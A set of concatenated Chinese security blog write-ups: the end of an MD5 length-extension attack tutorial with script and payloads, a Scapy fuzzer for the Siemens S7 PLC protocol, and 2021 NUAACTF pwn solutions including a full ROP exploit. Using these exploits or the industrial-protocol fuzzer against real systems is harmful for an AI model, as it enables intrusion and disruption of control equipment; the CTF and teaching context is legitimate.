abcd_list = [output_a, output_b, output_c, output_d]
Ti_count = 1
print(ascii_list)
return show_result(abcd_list)
# md5-Length Extension Attack: 计算 md5(message + padding + suffix), res = md5(message), len_m = len(message)
def md5_lea(suffix, res, len_m):
global Ti_count
Ti_count = 1
abcd_list = []
for i in range(0, 32, 8):
abcd_list.append(reverse_hex('0x' + res[i: i + 8]))
# print(abcd_list)
ascii_list = padding(suffix, (len_m + 72) // 64 * 64 * 8) # len(message + padding) * 8
# print(ascii_list)
for i in range(0, len(ascii_list) // 64):
aa, bb, cc, dd = abcd_list
order_1 = gen_m16(m_1, ascii_list, i)
order_2 = gen_m16(m_2, ascii_list, i)
order_3 = gen_m16(m_3, ascii_list, i)
order_4 = gen_m16(m_4, ascii_list, i)
abcd_list = fun(abcd_list, F, order_1, shi_1)
abcd_list = fun(abcd_list, G, order_2, shi_2)
abcd_list = fun(abcd_list, H, order_3, shi_3)
abcd_list = fun(abcd_list, I, order_4, shi_4)
output_a = hex((int(abcd_list[0], 16) + int(aa, 16)) & 0xffffffff)
output_b = hex((int(abcd_list[1], 16) + int(bb, 16)) & 0xffffffff)
output_c = hex((int(abcd_list[2], 16) + int(cc, 16)) & 0xffffffff)
output_d = hex((int(abcd_list[3], 16) + int(dd, 16)) & 0xffffffff)
abcd_list = [output_a, output_b, output_c, output_d]
Ti_count = 1
# print(ascii_list)
return show_result(abcd_list)
def url_append(hex_bit):
len_append = '0x{}{}'.format( (18-len(hex_bit))*'0', hex_bit[2:])
len_append = reverse_hex(len_append)[2:]
# print(len_append)
t = ''
for i in range(len(len_append)):
if i % 2 ==0 :
t += '%'+len_append[i:i+2]
else:
pass
return t
if __name__ == '__main__':
'''
修改res为已知哈希值
extend 为拓展值
自动遍历出1-30长度的payload url编码表达式
'''
res = '1c3de59d2f68788cc792e0eb7d604710'
extend = '}'
# print(reverse_hex('0x' + res))
for i in range(45):
hex_bit = hex(i*8)
t = url_append(hex_bit)
print('[%d]' % i,md5_lea(extend,res,i))
# print('{}%80{}{}{}'.format('X'*i, (55-i)*'%00',t, extend) )
print('%80{}{}{}'.format((55-i)*'%00',t, extend) )
# print('{}{}'.format( hex(i), (18-len(hex(i)))*'0') )
# from urllib.parse import unquote
# print(md5_lea('kingkk','571580b26c65f306376d4f64e53cb5c7',10))
最终输出为
[0] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00}
[1] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%08%00%00%00%00%00%00%00}
[2] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%10%00%00%00%00%00%00%00}
[3] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%00%00%00%00%00%00%00}
[4] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%20%00%00%00%00%00%00%00}
[5] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%28%00%00%00%00%00%00%00}
[6] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%30%00%00%00%00%00%00%00}
[7] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%38%00%00%00%00%00%00%00}
[8] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%40%00%00%00%00%00%00%00}
[9] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%48%00%00%00%00%00%00%00}
[10] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%50%00%00%00%00%00%00%00}
[11] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%58%00%00%00%00%00%00%00}
[12] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%00%00%00%00%00%00%00}
[13] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%68%00%00%00%00%00%00%00}
[14] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%70%00%00%00%00%00%00%00}
[15] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%78%00%00%00%00%00%00%00}
[16] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%80%00%00%00%00%00%00%00}
[17] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%88%00%00%00%00%00%00%00}
[18] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00}
[19] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%98%00%00%00%00%00%00%00}
[20] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%a0%00%00%00%00%00%00%00}
[21] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%a8%00%00%00%00%00%00%00}
[22] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b0%00%00%00%00%00%00%00}
[23] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%b8%00%00%00%00%00%00%00}
[24] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c0%00%00%00%00%00%00%00}
[25] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%c8%00%00%00%00%00%00%00}
[26] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d0%00%00%00%00%00%00%00}
[27] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d8%00%00%00%00%00%00%00}
[28] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00}
[29] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e8%00%00%00%00%00%00%00}
[30] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%f0%00%00%00%00%00%00%00}
[31] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%f8%00%00%00%00%00%00%00}
[32] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%01%00%00%00%00%00%00}
[33] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%08%01%00%00%00%00%00%00}
[34] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%10%01%00%00%00%00%00%00}
[35] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%18%01%00%00%00%00%00%00}
[36] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%20%01%00%00%00%00%00%00}
[37] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%28%01%00%00%00%00%00%00}
[38] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%30%01%00%00%00%00%00%00}
[39] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%38%01%00%00%00%00%00%00}
[40] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%40%01%00%00%00%00%00%00}
[41] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%48%01%00%00%00%00%00%00}
[42] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%00%50%01%00%00%00%00%00%00}
[43] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%00%58%01%00%00%00%00%00%00}
[44] 86f46813eda13928aaa468725598c464
%80%00%00%00%00%00%00%00%00%00%00%00%60%01%00%00%00%00%00%00}
因为是secret+data为42位，所以最终payload为：
?md5=d9671633e3723203bc2a1479c8412307&i=-1&s=}yusa%80%00%00%00%00%00%00%00%00%00%00%00%00%00%50%01%00%00%00%00%00%00a
得到flag
## 题外话
这个题目经过了修改之后直接输出了flag，原题不是这样的
贴出来原题代码
<?php
error_reporting(0);
$flag=getenv("DASFLAG");
if(isset($_GET["md5"]) && isset($_GET["i"]) && isset($_GET["s"])){
$fl4g = substr_replace($flag, $_GET["s"], $_GET["i"], 1);
echo $_GET["md5"] === md5($fl4g);
}else{
highlight_file(__FILE__);
echo md5($flag."yusa");
}
这里只会提示正确还是错误，也就是需要去进行盲注出来，原题secret+data为44位，也就是说需要去爆44位的数据，手工工作量很大。本人脚本能力有限，这里暂不给出脚本了，之后写出来了再补。
## 使用工具进行攻击
这里推荐一款工具-[hashpump](https://www.cnblogs.com/pcat/p/5478509.html)
速度很快，生成payload
# 危害性
说了半天，具体有什么危害呢？
比如说现在有一个登录的界面，进行的判断是加密后的密码和MD5(passwd+data)进行比较，很明显是在校验中加盐了，如果我们要绕过的话，就可以利用此攻击方式。
但是在实际中，因为我们不知道secret长度，所以需要对其进行猜测，也就是说，对于长度不正确以及登录失败的信息是不一样的，那么就可以进行判断，利用脚本跑出来他的secret的长度，从而进一步去绕过这个检测机制，成功登录系统。所以说，该问题还是很严重的。
实际上对以下算法都能实现hash长度扩展攻击，包括md4,md5,ripemd-160,sha-0,sha-1,sha-256,sha-512等
# 如何进行防御
既然这个问题危害很大，那么怎么进行防御呢？
1. 增加hash算法的负责度，也就是说在MD5加密之后接着进行一次MD5加密
2. 和上类似，加密方式采用HMAC方式，即hash(secret+hash(secret+data))，该方法最早在1996年发表，之后几乎被加到几乎每一种编程语言的标准函数库中
# 尾言
本次解释中，搜索了一些网上资料以及一些师傅的博客文章汇总了自己的理解才算是写了一篇水平不怎么样的文章，但总的来说还算满意，唯一不足的本人脚本能力实在有限，涉及的脚本暂时没法给出，只能日后补回来了。 | 社区文章 |
# 【技术分享】Scapy Fuzz实现——S7协议从建连到“正常交流“(二)
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[DropsAm4zing](http://bobao.360.cn/member/contribute?uid=2914824807)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**传送门：**<http://bobao.360.cn/learning/detail/4120.html>
上次酝酿了"三秒钟"，这次还是酝酿的久一点。这次继续上次的点和思路，把这个很low的小程序跑起来，先放一张运行截图做封面，自己总会认为我这个小屁孩这就是在班门弄斧，所以也就尽量的把自己的东西总结好，希望做好。
**0x01 关于Set Communication**
****
上次写到建立三次握手、S7协议握手数据包的重放，在文章的最后贴了自己写的建立连接的hello_plc()函数，其中通过Scapy发送数据并接收返回的响应数据包，Scapy接收到的数据格式是元组格式，我们只需要通过诸如“a[1][1]”这样的方式来访问取值，但还可能遇到问题，具体问题只能根据具体情况解决了。
**0x02 数据格式**
****
我们通过Wireshark可以看到，交互中的数据基本是“00 01 02 03
……”这样的方式，如果我们通过TCP调试工具发送数据的当然是可以成功发送并接收数据，但是放到脚本里发送这样的格式会成功么？
答案很明显，肯定是会失败的，怎么搞?
**姿势一：**
hello='x03x00x00x16x11xe0x00x00x00x05x00xc1x02x01x01xc2x02x01x01xc0x01x0a'
hello_respon="x03x00x00x16x11xd0x00x05x00x01x00xc0x01x0axc1x02x01x01xc2x02x01x01"
set_comm="x03x00x00x19x02xf0x80x32x01x00x00xccxc1x00x08x00x00xf0x00x00x01x00x01x03xc0"
上面的姿势可以通过脚本直接发送到设备并建立连接是没有问题的，需要你将“00 01 02 03 ……”通过处理变为上面的变量格式发送交互数据。
针对于建立连接过程，数据内容基本是固定的，所以直接转换格式固定发送即可，但是Fuzz测试的时候，可能需要准备专门的函数来转换格式发送，自认为比较麻烦，所以弃用。
**姿势二：**
测试的时候我们通过Wireshark来获取数据包的内容进行修改重放，所以我们看到的实际是十六进制的ASCII显示，我们需要转换到可直接传输的格式。
def str2byte(data):
base = '0123456789ABCDEF'
i = 0
data = data.upper()
result = ''
while i < len(data):
beg = data[i]
end = data[i+1]
i += 2
b1 = base.find(beg)
b2 = base.find(end)
if b1 == -1 or b2 == -1:
return None
result += chr((b1 << 4) + b2)
return result
相比较上一种方法自觉比较简单粗暴，选用。为什么自己愿意选用这个方式，因为发送的数据遵循固定的报文格式，所以Fuzz可以针对一个特定部分或者几个特定部分进行，随机产生Fuzz数据后，直接拼接为原始数据，然后经过转换直接发送即可。
hello = 010203040506070809 Fuzz原始数据(假设此处为四位整数) 0504030201
fuzz原始数据 = random.randint(1000.9999)
fuzz_data = str2byte(hello + fuzz原始数据)
上面对fuzz数据的产生过程做一个简单的解释，我们可以看到fuzz数据通过随机生成，通过拼接，再转换格式即可发送交互。实际情况是每个部分的数据进行拼接之后进行处理并发送。
**0x03 模糊数据**
****
那么模糊数据怎么产生并处理呢？
def random_String(n):
random_string = (''.join(map(lambda xx: (hex(ord(xx))[2:]), os.urandom(n))))
return random_string
通过上面的函数产生指定长度的模糊数据，这里仍然存在问题，一些功能对应的数据报文是如“000a”这样的格式，而上面的函数只能生成如“a”、“2012”，不能生成前面为0的格式的数据(如“0001
001a”)，当时被坑惨了，然后一步步输出调试的时候才发现使这里除了问题。
zfill()函数: 这个函数解决了上面的问题，str.zfill(width)通过width指定字符串的长度，原字符串右对齐，在前面补0.
Protocol_ID = '32'
ROSCTR = ROSCTR_dict[random.randint(0, 1)]
Redundancy_Identification = '0000'
Protocol_Data_Unit_Reference = random_String(2).zfill(4)
Parameter_Length = '0008'
Head_Data_Length = (
hex(
((int(TPKT_Length, 16))*2 - 14 - 36)/2
)[2:]).zfill(4)
Header = Protocol_ID + ROSCTR + Redundancy_Identification + Protocol_Data_Unit_Reference
+ Parameter_Length + Head_Data_Length
上面这是一段自己定义的通过Wireshark识别之后，数据报对应的各个部分的数据内容，有些部分是固定的格式，那么暂时不做Fuzz，那些保留字段或者可变字段，进行随机生成处理。Wireshark内置了对S7协议的分析代码，可以下载源码进行查找分析。下面就来看看S7协议相关的一些点。
Wireshark已经针对数据中的每个部分做了解析，所以在学习了解S7协议的时候，Wireshark是必不可少的工具之一，通过Wireshark的解析，我们清楚的看到包括TPKT、COTP、S7
Communication这三个大的部分。大概结构如下:
TPKT包含了Version、Length和一个保留参数
COTP包含了Length、PDU类型和一个我不知道含义的参数(PS:为自己的无知捏一把冷汗)
S7 Communication包含了Header、Parameter、Data
我们的Fuzz目标针对于S7 Communication部分，前两部分的参数相对固定，我们一定要注意的是每部分中的“Length“对应的含义。
TPKT: 含有Length参数，表示整个数据的长度
COTP: 含有Length参数，表示COTP除Length参数之外的长度
Header: S7协议的Header部分，含有Parameter Length和Data Length参数，分别表示Parameter和Data的长度
Parameter: S7协议的Parameter部分，含有Parameter Length参数，表示这部分此参数之后的数据长度。
Data: S7协议的Data部分，含有Length参数，表示Data部分data的长度
**0x03 运行日志**
****
通过上一部分对数据格式的了解，Fuzz脚本已经可以实现出来，我们继续讨论完善，如何判断Fuzz数据是否对设备造成了影响(比如:
设备状态异常)？如何实时的保存造成设备异常的报文呢？
def fuzz_analysis(data):
if len(data[0]) == 0:
fuzzlog.write("%sn" % binascii.hexlify(data[1]))
else:
errorlog.write("%s n" % binascii.hexlify((data[0][1][2].load)[-2:]))
rst = TCP(sport=sport, dport=dport, flags='R', seq=data[2].ack)
send(ip / rst)
我是通过上面的代码来处理的，发送Fuzz数据之后，判断返回的数据，并分别记录在不同的日志当中，判断数据的方法还是通过Scapy返回的数据格式，以元组的方式取值判断。
为什么要在记录日志之后发送一个RST数据包？
rst = TCP(sport=sport, dport=dport, flags='R', seq=data[2].ack)
在Fuzz数据发送之后，我无法判断发送的数据是否生效，所以自己用了最笨的办法，发送一个RST数据报，重置断开连接。下面的流程展示了整个脚本的运行过程和实现流程。
到此为止，可以自己将这个小脚本完成出来了，具体的小问题在自己写的过程中具体解决。
**0x04 几个问题**
****
异常处理
异常的情况可能比较多，先罗列一种情况，当然异常情况不仅仅包含连接过程中，还可能是在交互过程中，数据报格式不正确，返回数据不正确等等问题。
**1) 设备不在线，三次握手会抛出异常，对异常进行处理**
**2) 设备在线，但S7建立连接出现错误不能连接(如: ip冲突引发的异常)**
所以异常要怎么处理呢？可以通过返回数据中的flag值来判断是否为Rst。
**如何判断设备是否可达?**
有别人的小程序是通过先发送一个Ping包来确定设备是否可达，但是Ping不通不一定是确定设备不可连接的唯一方式，自己选择直接发送S7握手包，如果返回异常，那么设备应该是不可达的。当然，也有可能是默认的102端口号被改掉了，所以最好能先扫描一下，然后针对端口多次尝试也是一个不错的方式?
**发送Fuzz数据后如何判断设备是否异常?**
因为自己当时是在测试环境，所以需要判断当前设备是否发生了异常状况，所以在一个流程走完之后执行“ping 10.0.0.1 –c
4”,通过能否Ping通设备判断是否异常。
**如何提高效率，多线程还是多进程(自己编程渣的很)?**
这个问题暂时没有想的太明白。希望自己学到了然后就通了。
**是否需要一个单独的脚本一直监听并处理记录异常?**
这个自己考虑之后觉得可能没有必要在单独的开一个脚本去监听记录信息，因为通过Scapy已经可以将返回的数据进行判断处理，所以把上面的问题解决，在一定程度上已经可以很大的优化了这个Low的小脚本。
**0x05 可能有用**
****
Nmap S7-info Script: https://nmap.org/nsedoc/scripts/s7-info.html
这个是Nmap采集S7设备信息的脚本，挺好，看源码可以获取很多有用的信息，比如你可能没有握手的数据报文等等。其他的工具plcscan、S7client等工具别人都已经介绍过好多，可以自行找到很多。
OK，暂且告一段落，有错误欢迎指正。我是个菜鸡，路过的各路大神多多照顾包含。
**传送门：**[
http://bobao.360.cn/learning/detail/4120.html](http://bobao.360.cn/learning/detail/4120.html) | 社区文章 |
# 2021NUAACTF PWN&RE WP详解
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
这是2021年NUAACTF的pwn题目和部分re的详细分析，官方给的wp只有一句话，我对其进行详细的分析，记录如下，若有错误，请指正。
## PWN -> format (fmt)
### 题目分析
题目没有开pie，环境20.04，ida查看有一个格式化字符串漏洞：
int __cdecl main(int argc, const char **argv, const char **envp)
{
int fd; // [rsp+4h] [rbp-1Ch]
void *buf; // [rsp+8h] [rbp-18h]
char format[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v7; // [rsp+18h] [rbp-8h]
v7 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
fd = open("./flag", 0);
buf = malloc(0x30uLL);
read(fd, buf, 0x30uLL);
close(fd);
read(0, format, 8uLL);
printf(format); <----fmt
free(buf);
return 0;
}
看到在这里可以泄露栈地址以及栈地址指向的内容，所以经过调试确定偏移后，直接输入`%7$s`就可以输出flag。
## PWN -> tiny (alarm返回值、rop、orw)
### 题目分析
保护只开了NX保护，环境20.04，shellcode不能用，ida查看伪代码：
__int64 start()
{
signed __int64 v0; // rax
signed __int64 v1; // rax
sys_alarm();
v0 = sys_write(1u, s1, 0x24uLL);
v1 = sys_write(1u, s2, 0x1CuLL);
return v();
}
程序没有多余的函数还有段，只有四个函数start、vul、alarm、libc_csu_init,程序先alarm然后输出提示信息，输入字符串，在vul函数中存在溢出：
__int64 vul()
{
signed __int64 v0; // rax
signed __int64 v1; // rax
char buf[8]; // [rsp+8h] [rbp-8h] BYREF
v0 = sys_read(0, buf, 0x70uLL); <---overflow
v1 = sys_write(1u, s3, 4uLL);
return 114514LL;
}
没开pie，可以rop，只有一个alarm函数，可能利用过程会用到sys_alarm()。
### 利用思路
题目没有链接系统库和启动文件，ida分析就只有4个函数，有一个栈溢出，可以进行rop，没有libc库，不能获取shell，只能orw去读取flag，能用的rop链有sys_read、sys_write，open可以通过改变rax的值来调用，关键是怎么控制rax的值，vul函数在返回前将rax修改：
.text:0000000000401070 public vul
.text:0000000000401070 vul proc near ; CODE XREF: _start+4D↑p
.text:0000000000401070
.text:0000000000401070 buf = byte ptr -8
.text:0000000000401070
.text:0000000000401070 ; __unwind {
.text:0000000000401070 endbr64
.text:0000000000401074 push rbp
.text:0000000000401075 mov rbp, rsp
.text:0000000000401078 sub rsp, 10h
.text:000000000040107C lea rax, [rbp+buf]
.text:0000000000401080 mov rsi, rax ; buf
.text:0000000000401083 mov edi, 0 ; fd
.text:0000000000401088 mov eax, 0
.text:000000000040108D mov edx, 70h ; 'p' ; count
.text:0000000000401092 syscall ; LINUX - sys_read
.text:0000000000401094 nop
.text:0000000000401095 nop
.text:0000000000401096 nop
.text:0000000000401097 mov edx, 4 ; count
.text:000000000040109C mov edi, 1 ; fd
.text:00000000004010A1 lea rsi, s3 ; "Bye\n"
.text:00000000004010A8 mov eax, 1
.text:00000000004010AD syscall ; LINUX - sys_write
.text:00000000004010AF nop
.text:00000000004010B0 nop
.text:00000000004010B1 nop
.text:00000000004010B2 mov eax, 1BF52h <-------rax = 0x1bf52>
.text:00000000004010B7 leave
.text:00000000004010B8 retn
.text:00000000004010B8 ; } // starts at 401070
.text:00000000004010B8 vul endp
所以通过read读入字节数控制rax行不通。思索还有啥能控制rax的呢？果然通过查alarm函数返回值知道，alarm函数返回值通俗的说是距alarm还剩的秒数，这里要控制rax
= 2调用open，就要在alarm剩余两秒的时候调用，函数返回2，同理在alarm剩余1秒的时候调用alarm，rax =
1调用write，实现读取flag。思路可以将栈迁移到bss段，然后在bss段进行orw。
利用步骤：
1. 通过栈溢出控制rbp为bss+0x30，返回地址为rop，调用sys_read，将./flag写入bss
2. 通过alarm设置rax = 2，rop调用sys_open打开./flag文件
3. rop调用sys_read，将fd（flag）读入bss-0x120处
4. 通过alarm设置rax = 1，rop调用sys_write输出flag
### exp
from pwn import *
context.log_level='debug'
context.terminal = ['/bin/tmux', 'split', '-h']
sh = process('./tiny')
bss = 0x405000-0x100
vul = 0x401070
alarm = 0x401055
syscall = 0x4010ad
pop_rdi = 0x401103
pop_rsi_r15 = 0x401101
'''
.text:0000000000401088 mov eax, 0
.text:000000000040108D mov edx, 70h ; 'p' ; count
.text:0000000000401092 syscall ; LINUX - sys_read
'''
edi_0_edx_70_eax_0_syscall = 0x401083
#gdb.attach(sh)
#pause()
sh.recvuntil('pwned!')
payload = p64(0) + p64(bss+0x30)
payload += p64(pop_rsi_r15) + p64(bss) + p64(0) + p64(edi_0_edx_70_eax_0_syscall) #0x20 read(0,bss,0x70)
sh.send(payload)
sh.recvuntil('Bye')
bp_payload = b'./flag\x00\x00' + b'\x00'*0x28 + p64(vul) + p64(vul) + p64(vul)
sh.sendline(bp_payload)
payload = p64(0) + p64(bss + 0x70)
payload += p64(alarm) + p64(pop_rdi) + p64(bss) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(syscall) + p64(vul) #0x40 open(bss,0,0)
sleep(10) # rax = 2 open
sh.send(payload)
sh.recvuntil('Bye')
sh.recvuntil('Bye')
payload = p64(0) + p64(bss+0xa8)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi_r15) + p64(bss-0x120) + p64(0) + p64(0x401088) + p64(vul) #0x30 read(3,bss-0x120,0x70)
sh.send(payload)
sleep(11) # rax = 1 write
#gdb.attach(sh,'b *0x40106d')
sh.recvuntil('Bye')
payload = p64(0) + p64(bss)
payload += p64(alarm) + p64(pop_rdi) + p64(1) + p64(pop_rsi_r15) + p64(bss-0x120) + p64(0) + p64(0x40108d) # write(1,bss-0x120,0x70)
sh.send(payload)
sh.interactive()
### 总结
这个题第一次遇见，只有几个函数，程序编译的时候去掉了startfiles，程序用汇编编写，思路是栈溢出，通过alarm函数的返回值控制rax的值，从而进行orw来读取flag，第一次关注了alarm返回值的作用。
## PWN -> nohook (UAF、edit检测hook、花指令)
### 题目分析
保护全开，漏洞点如下：
delete函数
void delete()
{
int v0; // [rsp+Ch] [rbp-4h]
puts("id:");
v0 = itoll_read();
if ( v0 <= 31 )
{
if ( qword_4080[v0] )
free((void *)qword_4080[v0]); // UAF
}
}
存在UAF，可以在free后仍可操作free块。
edit函数：
__int64 edit()
{
__int64 result; // rax
int v1; // [rsp+14h] [rbp-4h]
puts("id:");
result = itoll_read();
v1 = result;
if ( (unsigned int)result <= 0x1F )
{
result = qword_4080[(unsigned int)result];
if ( result )
result = read(0, (void *)qword_4080[v1], dword_4180[v1]);
}
return result;
}
貌似没啥问题，但是这里可以看到汇编有一些蹊跷，有很多nop。仔细看是花指令隐藏了后面的逻辑：
.text:00000000000014D7 mov edi, 0 ; fd
.text:00000000000014DC call _read
.text:00000000000014E1 nop
.text:00000000000014E2 nop
.text:00000000000014E3 nop
.text:00000000000014E4 call $+5
.text:00000000000014E9 add [rsp+18h+var_18], 6
.text:00000000000014EE retn
.text:00000000000014EF ; --------------------------------------------------------------------------- .text:00000000000014EF mov rax, cs:off_4018
去花后，显现出来真实隐藏的逻辑：
__int64 edit()
{
__int64 result; // rax
int v1; // [rsp+14h] [rbp-4h]
puts("id:");
result = itoll_read();
v1 = result;
if ( (unsigned int)result <= 0x1F )
{
result = qword_4080[(unsigned int)result];
if ( result )
{
read(0, (void *)qword_4080[v1], dword_4180[v1]);
if ( *(_QWORD *)off_4018 || (result = *(_QWORD *)off_4020) != 0 ) // *(long long*)freehk!=0||*(long long*)mallochk!=0
{
*(_QWORD *)off_4018 = 0LL;
result = (__int64)off_4020;
*(_QWORD *)off_4020 = 0LL;
}
}
}
return result;
}
经过偏移调试，可以知道这里是判断freehook和mallochook是否为0，如果发现不为零就置零，这个操作防止了直接edit修改free/malloc
hook为system。
### 利用方式
存在UAF，可以通过unsortedbin泄露libc，然后构造tcache
attack使得tcache指向system，然后再构造同样大小的tcache指向malloc
hook，此时tcache链表中链接顺序为：mallochook->system。实现了与edit直接修改mallochook为system相同的作用。
**利用步骤：**
